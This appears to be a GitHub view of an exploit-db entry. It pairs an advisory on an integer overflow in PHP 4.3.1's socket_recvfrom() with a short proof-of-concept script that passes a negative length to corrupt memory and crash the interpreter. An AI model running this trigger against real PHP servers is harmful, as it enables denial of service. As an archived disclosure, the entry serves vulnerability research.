forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path22426.php
More file actions
executable file
·14 lines (10 loc) · 777 Bytes
/
Copy path22426.php
File metadata and controls
executable file
·14 lines (10 loc) · 777 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
source: http://www.securityfocus.com/bid/7198/info
A vulnerability has been reported in PHP versions 4.3.1 and earlier. The problem occurs in the socket_recvfrom() and may allow an attacker to corrupt memory. Specifically, the affected function fails to carry out sanity checks on user-supplied argument values, making it prone to an integer overflow.
This may make it possible for an attacker to trigger a denial of service. Although it has not been confirmed, it may also be possible to exploit this issue to execute arbitrary code.
It should be noted that socket functionality is only included in PHP if compiled with the "--enable-sockets" option.
<?php
$buf = "";
$name = "";
socket_recvfrom(socket_create(AF_INET, SOCK_STREAM, 0), $buf, -3, 0,
$name);
?>